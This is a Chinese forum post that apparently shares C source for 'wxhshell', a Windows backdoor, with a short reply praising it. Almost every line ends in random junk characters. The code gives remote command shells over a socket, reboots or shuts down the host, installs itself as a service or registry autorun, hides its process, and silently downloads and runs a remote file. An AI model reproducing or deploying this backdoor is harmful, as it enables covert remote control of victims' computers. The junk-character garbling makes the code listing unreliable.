  if(DownloadFile(cmd,wsh)) -#agWqUM|T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z7$,m#tw  
  else 9o<5Z=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a\]g lw\;  
  } 8H7=vk+  
  else { 8Ts_;uId  
[,?5}'we  
    switch(cmd[0]) { (_.0g}2  
  ekV|a1)  
  // 帮助 ?VRf5 Cr-  
  case '?': { )/mBq#ZS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ra]lC7<H  
    break; DYej<T'?3  
  } @q/E)M?  
  // 安装 )z Hib;O  
  case 'i': { X :wfmb  
    if(Install()) 6t!PHA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@P[jtH<d  
    else 1n-+IR"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S( Vssi|y  
    break; ~|kSQ7O^  
    } EZb_8<DH  
  // 卸载  U rL|r.  
  case 'r': { (@nE e?  
    if(Uninstall()) l)K8.(2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2R=Fc@MXs  
    else yO*HJpc   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Sb68hJIE  
    break; mnm 7{?#[  
    } LE]mguvs  
  // 显示 wxhshell 所在路径 ~`Rb"Zn  
  case 'p': { 5h7M3s  
    char svExeFile[MAX_PATH]; W\1V`\gF  
    strcpy(svExeFile,"\n\r"); 8m"(T-wb6{  
      strcat(svExeFile,ExeFile); ttfCiP$  
        send(wsh,svExeFile,strlen(svExeFile),0); :c}"a(|  
    break; c5- 56 Q  
    } kR/Etm5_  
  // 重启 :/XWk %  
  case 'b': { q .s'z}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bx._,G  
    if(Boot(REBOOT)) <s wfYT!N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,vs#(d6G  
    else { =x3T+)qCNX  
    closesocket(wsh); 8k9Yoht  
    ExitThread(0); H84Zg/ ^  
    } *|({(aZ  
    break; GWW#\0*Bn  
    } *6/OLAkyF  
  // 关机 c0f8*O4i  
  case 'd': { k<A|+![  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )Nt'Z*K*  
    if(Boot(SHUTDOWN)) ]QSQr *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ut)m\)/)  
    else { %G/(7l[W  
    closesocket(wsh); w[]\%`69}Z  
    ExitThread(0); w:h([q4X  
    } o7kQ&w   
    break; <V1y^EW0  
    } bPA1>p7  
  // 获取shell fRK=y+gl@  
  case 's': { (Qd@Q,@(s  
    CmdShell(wsh); hka`STK{  
    closesocket(wsh); k2:mIp\  
    ExitThread(0); zb. ^p X  
    break; 3U4h>T@s|  
  } Jix;!("  
  // 退出 1 EwCF  
  case 'x': { L*zfZ&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @r]1;KG  
    CloseIt(wsh); K`8$+JDP+  
    break; tvOyT6]  
    } 6ANA oWg*  
  // 离开 %9b TfX"  
  case 'q': { bo[[<j!"I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !laOiH  
    closesocket(wsh); IeAUVR S)  
    WSACleanup(); j"9Zaq_  
    exit(1); ?7dV:]%~2  
    break; >K*TgG6!X  
        } :~\ y<  
  } +?^lnoX  
  } Xp~O?2:3l  
u"-."_  
  // 提示信息 no9=K4h`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cdTG ]n  
} Z&5cJk W  
  } ~' q&rvk`  
NT<}-^  
  return; FB n . 4  
} ;fB!/u  
}u.1$Y  
// shell模块句柄 'J:xTp  
int CmdShell(SOCKET sock) -z'6.I cO  
{ =po5Q6@i  
STARTUPINFO si;  EHda  
ZeroMemory(&si,sizeof(si)); hSXZu?/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )]{&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zfK3$|  
PROCESS_INFORMATION ProcessInfo; !uN_<!  
char cmdline[]="cmd"; dwz {Yw(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 79}Qj7  
  return 0; 0 2q*z>:^  
} Jqqt@5Ni  
U}SN#[*  
// 自身启动模式 2x:aMWh  
int StartFromService(void) p/Ri|FD6  
{ L lVE5f?  
typedef struct l%v2O'h  
{ =:Lc-y>  
  DWORD ExitStatus; `:5W1D(  
  DWORD PebBaseAddress; m ?jF:] ^  
  DWORD AffinityMask; Mf`@X[-;  
  DWORD BasePriority; T@j@IEGH  
  ULONG UniqueProcessId; W)2ZeH*  
  ULONG InheritedFromUniqueProcessId; rNeSg=j  
}   PROCESS_BASIC_INFORMATION; -4t!k Aw`  
?o_ D#gG*  
PROCNTQSIP NtQueryInformationProcess; ])mYE }g  
b_-?ZmV^r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \-RVPa8k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yjix]lUXVf  
9pq-"?vHY0  
  HANDLE             hProcess; crRYgr  
  PROCESS_BASIC_INFORMATION pbi; T<~?7-O"  
]L9$JTGF`w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YE1X*'4  
  if(NULL == hInst ) return 0; );*#s~R  
mW_ N-z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); THz=_L6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ugv"A;l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5hE mXZ%  
2[Vs@X  
  if (!NtQueryInformationProcess) return 0; dS~#Lzm  
.?;"iv+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j$}W%ibj  
  if(!hProcess) return 0; 4'U #<8  
nfA#d-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SMbhJ}\O  
<h mRr  
  CloseHandle(hProcess); /|aD,JVN"  
}?=4pGsI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FdM xw*}  
if(hProcess==NULL) return 0; ip2BvN&  
kY]^~|i6  
HMODULE hMod; 3NxwQ,~  
char procName[255]; 2j*o[kAE  
unsigned long cbNeeded; [5$Y>Tr!  
`HJRXoLySW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q*l_QnfG  
7W `gN[*  
  CloseHandle(hProcess); I-o |~  
oO~LiK>  
if(strstr(procName,"services")) return 1; // 以服务启动 %Astfn(U{4  
I+_u?R)$  
  return 0; // 注册表启动 LSW1,}/B  
} LGF5yRk  
<t)D`nY\  
// 主模块  v{ *#  
int StartWxhshell(LPSTR lpCmdLine) Pq)C(Z  
{ =r1 @?x  
  SOCKET wsl; y759S)U>>p  
BOOL val=TRUE; o@blvW<v7  
  int port=0; 3F|#nq  
  struct sockaddr_in door; !;~6nYY  
t +@UC+aW  
  if(wscfg.ws_autoins) Install(); F)^:WWVc#  
=}7[ypQM`]  
port=atoi(lpCmdLine); Mo_(WSs  
j1U,X  
if(port<=0) port=wscfg.ws_port; (_'Efpg|  
N)N\iad^  
  WSADATA data; wJKP=$6n_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^YwTO/Q|  
Zcg@]Sx(I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )Me$BK>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -OPJB:7Z  
  door.sin_family = AF_INET; u AmDXqJ 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qKL mL2O  
  door.sin_port = htons(port); {e'V^l.v  
A9L {c!|-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y o |"-  
closesocket(wsl); E ) iEWc  
return 1; S eTn]  
} % A8dO+W  
7C"&f *lEi  
  if(listen(wsl,2) == INVALID_SOCKET) { p&|:,|jo5  
closesocket(wsl); ^B`*4  
return 1; pNIu;1M5a  
} bw& U[|A0%  
  Wxhshell(wsl); MX\v2["FoV  
  WSACleanup(); "Gh5 ^$w?j  
c.;}e:)s  
return 0; :$J4T;/{  
o@!Uds0  
} JNZ  O7s  
8Z:T.Gc  
// 以NT服务方式启动 6)_svtg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7_*k<W7|  
{ s}5,<|DL  
DWORD   status = 0; 1Ff Sqd  
  DWORD   specificError = 0xfffffff; 9C_Vb39::$  
\2Atm,#4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *[SOz)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Yu&'[?H$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zj]jE%AT  
  serviceStatus.dwWin32ExitCode     = 0; ?\7$63gBH  
  serviceStatus.dwServiceSpecificExitCode = 0; WY)*3?  
  serviceStatus.dwCheckPoint       = 0; y/(60H,{{  
  serviceStatus.dwWaitHint       = 0; :,'yHVG\  
nhZ^`mP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @j/|U04_ Z  
  if (hServiceStatusHandle==0) return; ZS\~GQbG  
}mx>3G{d  
status = GetLastError(); jf WZLb)  
  if (status!=NO_ERROR) 2#hfBJg@  
{ h .%)RW?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e#/SFI0m  
    serviceStatus.dwCheckPoint       = 0; cFF'ygJ/  
    serviceStatus.dwWaitHint       = 0; {/E_l  
    serviceStatus.dwWin32ExitCode     = status; Qf:#{~/  
    serviceStatus.dwServiceSpecificExitCode = specificError; QRL+-)DMc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %c"t`  
    return; b\9MM  
  } b Y^K)0+^s  
LeT OVgjA|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k`u.:C&  
  serviceStatus.dwCheckPoint       = 0; i+&o%nK2  
  serviceStatus.dwWaitHint       = 0; Q]7}" B&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FIEA 'kUy  
} |[B JZ  
T5gL  
// 处理NT服务事件,比如:启动、停止 aSVR +of  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fd(o8z8Q  
{ HV}*}Ty  
switch(fdwControl) A/A; '9  
{ 'i5,2vT0  
case SERVICE_CONTROL_STOP: 31)eDs  
  serviceStatus.dwWin32ExitCode = 0; *Q XUy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +F@ZVMp  
  serviceStatus.dwCheckPoint   = 0; \>N"{T  
  serviceStatus.dwWaitHint     = 0; 3Q\k!$zq  
  { X*QQVj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .jK,6't^  
  } FNy-&{P2  
  return; oa q!<lI  
case SERVICE_CONTROL_PAUSE: E~K5n2CI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4E 32DG*  
  break; 9JBVG~m+  
case SERVICE_CONTROL_CONTINUE: \F5d p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^P~NE#p5  
  break; h4geoC_W2  
case SERVICE_CONTROL_INTERROGATE: $dkkgsw 7  
  break; t=BXuFiu  
}; DNmP>~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qt(4N!j  
} s_RUb  
>yr1wVS  
// 标准应用程序主函数 .0b4"0~T6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *h4x`luJ  
{ ibL    
aYrbB#  
// 获取操作系统版本 GS&iSjw  
OsIsNt=GetOsVer(); ]!'9Y}9a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \@F~4,VT  
i/{`rv*K[  
  // 从命令行安装 CEl9/"0s6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Mw^EjR  
"Kc1@EX=  
  // 下载执行文件 +V;@)-   
if(wscfg.ws_downexe) { \wM8I-f!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >NMq^J'/  
  WinExec(wscfg.ws_filenam,SW_HIDE); ds "N*\.  
} ZMGthI}~-  
bW?cb5C  
if(!OsIsNt) { r"bV{v  
// 如果时win9x,隐藏进程并且设置为注册表启动 #Zj3SfU~`  
HideProc(); 9`Zwa_Tni  
StartWxhshell(lpCmdLine); ;:Q&Rf"@%  
} NGL,j\(~7  
else 7 DW_G  
  if(StartFromService()) qi=v}bp&  
  // 以服务方式启动 rPUk%S  
  StartServiceCtrlDispatcher(DispatchTable); .Hm1ispq  
else GB8>R  
  // 普通方式启动 tr@)zM GB  
  StartWxhshell(lpCmdLine); 'v0(ki#  
[|tlTk   
return 0; <Oihwr@5<  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八